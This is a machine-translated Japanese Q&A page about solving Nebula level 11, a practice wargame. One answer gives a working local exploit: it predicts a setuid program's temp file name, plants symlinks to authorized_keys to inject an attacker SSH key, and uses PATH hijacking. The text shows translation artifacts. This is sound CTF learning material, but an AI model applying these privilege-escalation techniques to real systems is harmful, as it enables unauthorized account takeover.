web-dev-qa-db-ja.com

星雲レベル11:setuidが機能していません

_exploit-exercises.com_ プラットフォームで level11Nebula 5 を解決しようとしています。

私は挑戦の基本的な考えを理解したと思います。実際、このレベルの非常に多くの記事がインターネット上にあります。

問題は、getflagを実行しようとしたときに、実行中にsetuidビットが失われたようです。 _/tmp/_がオプションnosuidでマウントされていることを知っているので、その上にsuidプログラムを置くことはできません。しかし、私がそれを試したときそれは私のケースではありませんでした。

ここで実際に何が起こっているのか、このチャレンジの意図しないバグであるかどうか、そして回避策(おそらくルートを介して)を教えてくれる人がいるかどうか疑問に思います。

system()を呼び出すときに非常に壊れやすいように見えるので、setuidビットのメカニズムをまだ明確に理解していないようです。

また、一部の記事では、bashsetuidビットを無効にするという事実に言及していますが、これはかなり怪しいようです(setuidプログラムを実行して実行しました)。私は誰かがそれについていくつかの洞察を与えることができる、私も喜んでいるでしょう。

編集する

Gillesが提案したように、ここに問題の詳細をいくつか追加します。

したがって、基本的には、このレベルを活用する最も簡単な方法は、_Content-Length_を1に設定した場合(_Content-Length: 1_をstdinに書き込む)、文字(決定論的なプロセスによって別のものに翻訳されます)。取得した文字列はnull(_\0_)で終了せず、文字列の内容がメモリの現在の内容に追加されます。次に、文字列全体がsystem()関数を通過します。

実際には、メモリ内で_\0_文字を見つける可能性が高いため、取得した文字をコマンドとして呼び出すことができます。

次に、Dからgetflag(レベルのフラグを取得するために使用されるソフトウェア)へのシンボリックリンクを設定し、Dの場所をPATH変数。それはそのようなものを与えるはずです:

_level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: DPo: command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\260@': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: $'D\220': command not found
level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
sh: D: command not found
_

次に、シンボリックリンクをgetflagに追加します。

_level11@nebula:/tmp$ echo -ne "Content-Length: 1\nE" | /home/flag11/flag11 
getflag is executing on a non-flag account, this doesn't count
_

したがって、問題は_/home/flag11/flag11_ソフトウェアがsetuidであり、次の権限があることです。

_-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 /home/flag11/flag11*
_

'attacker user'は_level11_であり、 'target user 'は_flag11_です。

それにもかかわらず、setuidビットはプログラムによって尊重されていないようで、getflagプログラムを実行すると_level11_に戻ります(ただし、実行中は_flag11_です) _/home/flag11/flag11_の実行。

だから、私の質問は「なぜ?」です。

また、他のレベルも適切に機能しているように見えることも付け加えておきます。これはこのシステムでの最初のsetuid攻撃ではなく、他のすべては正常に機能しているようです。

3
perror

星雲レベル11の解決方法

必要なファイルは_/home/flag11_の下にあります。

_level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh
_

この小さな_.ssh_フォルダは、私の脳内にある種のアラーム信号を発生させます。後で必要になるかもしれません。ご覧のとおり、最近アクセスしたファイルの一部です。これは私の攻撃によるものでした。

添付の演習のCコードは次のとおりです。

_#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}
_

このコードを分析した後、_Return a random, non predictable file, and return the file descriptor for it._。誰かが予測できないと言ったとき、私は予測しようとします。残りのコードは検査が必要なので、これは少し延期する必要があります。古いLinuxシステムでは、プロセスのpidはかなり予測可能です。もちろん、時間とともにシードされたsrandom()も予測可能です。

さて、processのバッファを解読するために使用されるいくつかの[〜#〜] xor [〜#〜]暗号化スキームがあり、これ解読されたバッファはシステムに渡されます。ここで、いくつかの攻撃的な呼び出しを挿入する必要があります。ファイルの検査から、これがもう1つのsetuidビットの課題であることがわかったので、これは私が思ったように不調になっていることを承知しています。率直に言って、私は少し楽観的でした。

メイン関数では、処理バッファーはstdinで満たされ、ハードコードされたプレフィックスナッシングマジックに対してチェックされます。

_#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

  //...
}
_

err関数は、ヒットしたときに実行可能ファイルを終了します。次のチェックif(fread(buf, length, 1, stdin) != length) {をバイパスするには、この実行可能ファイルに渡される長さが1である必要があります。この場合、挿入されるコードは非常に制限されます。オーバーフローatoiと負の数のテストは常に失敗しました。 freadはバイト数ではなく、読み取られたアイテムの数を返すため、この場合は常に1を返します。 PATH変数に制御下にあるパスを装うことができることがわかっている他の演習を形成します。したがって、マジックprocess()関数に単一の文字を挿入する必要があるだけです。 [〜#〜] xor [〜#〜]の逆はかなり単純です。コマンドを実行するには、バッファ全体がsystemに渡されるため、いくつかの試行が必要になる場合があります。バッファはmainのスタックに配置されているため、ゴミでいっぱいです。しかし、2番目の文字でゼロに到達する可能性はそれほど悪くありません。私はすでに自分の成功を感じていましたが、それからこれを得ました:

_getflag is executing on a non-flag account, this doesn't count  
_

今回は不正行為ではありませんでしたが、提供されたソースコードの星雲の作者は、システムを呼び出す前にsetuidビットを削除したことについて触れていません。これはstraceコマンドによって公開されました。

_getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180
_

さて、これは行き止まりのようです。設計図に戻ると、[〜#〜] ssh [〜#〜]のアイデアが再び現れました。しかし、どのように_.ssh_フォルダを使用できますか。これは、_authorized_keys_ファイルをそこに挿入するのが非常に簡単です。しかし、これをsetuidなしで実現するにはどうすればよいでしょうか。

_  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);

}
_

これまでのところ、buffer長さチェックのelseケースは完全に無視しました。これが、スーパートップシークレットの一時ファイル名がゲームに登場する場所です。ファイルを制御するには、シェルから環境変数を定義する必要があります。後で攻撃を実行します。

_export TEMP=/tmp
_

これは、被害者の[〜#〜] pid [〜#〜]を推測するだけの問題です。これは簡単です。stdoutを被害者のstdinにパイプすると、可能性が高くなるだけで、私たちの標準の1つになります。それ以外の場合は、popen()を使用して_ps | grep flag11_からpidを挿入できます。時間の部分は秒単位の時間なので、非常に簡単です。安定した成功率を得るために、次の1秒間のファイル名も使用します。攻撃者のコード全体は次のようになります。

_int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));


  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}
_

Sshキーを最初に生成する必要があります。これらの奇妙なチェックを色で満たそうとするのに、少し時間がかかりました。おそらく、オーバーフローの問題が発生しないように、time()関数の形式を確認する必要があります。現時点では、バッファを暗号化する必要がない理由は不明です。たぶん、mmap関数の専門分野です。とにかく、sshキーを挿入すると、flag11アカウントにログインしてフラグを取得できます。

_level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag    
You have successfully executed getflag on a target account
flag11@nebula:~$
_
4
graugans

ここではBashは関与していません。 system関数はshを実行し、Ubuntuではshはbashではなくダッシュです。 bashとは異なり、dashは特権を削除しません。そのページに表示されているソースコードがsetuidビットを使用してコンパイルおよびインストールされている場合、所有者ユーザーとして実行され、systemを介して実行されるコマンドも所有者ユーザーとして実行されます。

エクササイズがどのように設定されているのか、まだ見ていません。ファイルを読み取る必要がある可能性があります。プログラムがsystemを設定せずにPATHを呼び出す場合、PATHに短い名前のファイルを配置して、最終的に渡される文字列に対して複雑な計算を行う必要をなくすことができます。 systemに。そのファイルを、フラグを取得するために必要なことをすべて実行するシェルスクリプトにします。ファイルを読み取るか、getflagプログラムを呼び出します。

バイナリがページのコードと一致しないようです。

$ gdb /home/flag11/flag11
$ (gdb) disass process
  0x080489c7 <+0>:  Push   %ebp
  0x080489c8 <+1>:  mov    %esp,%ebp
  0x080489ca <+3>:  sub    $0x28,%esp
  0x080489cd <+6>:  mov    0xc(%ebp),%eax
  0x080489d0 <+9>:  and    $0xff,%eax
  0x080489d5 <+14>: mov    %eax,-0x10(%ebp)
  0x080489d8 <+17>: movl   $0x0,-0xc(%ebp)
  0x080489df <+24>: jmp    0x8048a0c <process+69>
  0x080489e1 <+26>: mov    -0xc(%ebp),%eax
  0x080489e4 <+29>: add    0x8(%ebp),%eax
  0x080489e7 <+32>: mov    -0xc(%ebp),%edx
  0x080489ea <+35>: add    0x8(%ebp),%edx
  0x080489ed <+38>: movzbl (%edx),%edx
  0x080489f0 <+41>: mov    %edx,%ecx
  0x080489f2 <+43>: mov    -0x10(%ebp),%edx
  0x080489f5 <+46>: xor    %ecx,%edx
  0x080489f7 <+48>: mov    %dl,(%eax)
  0x080489f9 <+50>: mov    -0xc(%ebp),%eax
  0x080489fc <+53>: add    0x8(%ebp),%eax
  0x080489ff <+56>: movzbl (%eax),%eax
  0x08048a02 <+59>: movsbl %al,%eax
  0x08048a05 <+62>: sub    %eax,-0x10(%ebp)
  0x08048a08 <+65>: addl   $0x1,-0xc(%ebp)
  0x08048a0c <+69>: mov    -0xc(%ebp),%eax
  0x08048a0f <+72>: cmp    0xc(%ebp),%eax
  0x08048a12 <+75>: jl     0x80489e1 <process+26>
  0x08048a14 <+77>: call   0x8048700 <getgid@plt>
  0x08048a19 <+82>: mov    %eax,(%esp)
  0x08048a1c <+85>: call   0x8048690 <setgid@plt>    // <---
  0x08048a21 <+90>: call   0x8048630 <getuid@plt>
  0x08048a26 <+95>: mov    %eax,(%esp)
  0x08048a29 <+98>: call   0x8048730 <setuid@plt>    // <---
  0x08048a2e <+103>:    mov    0x8(%ebp),%eax
  0x08048a31 <+106>:    mov    %eax,(%esp)
  0x08048a34 <+109>:    call   0x80486a0 <system@plt>
  0x08048a39 <+114>:    leave  
  0x08048a3a <+115>:    ret    

入手したバージョンはシステムを呼び出す前に権限を落としているようです。

編集:要求に応じて詳細を追加します。

ここでCコードを見ると https://exploit-exercises.com/nebula/level11/

次に、プロセス関数は次のようになります。

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

ここには関数呼び出しが1つしかありません-system(buffer)。

/ home/flag11/flag11をgdb(上記のコードフラグメント)で見ると、getgid、setgid、getuid、setuid、systemの5つの呼び出しを数えることができます。コンパイルされたバージョンがWebページのソースコードと一致しません。これらの追加の呼び出しは、システムを呼び出す前に特権を削除します。この課題を解決できない可能性があります。

ユーザー 'nebula'(パスワード 'nebula')としてログインし、コードを https://exploit-exercises.com/nebula/level11/ からダウンロードしてビルドし、/ home/flag11を置き換えることができます。/flag11。次に、このレベルを解決できます。

0
user132241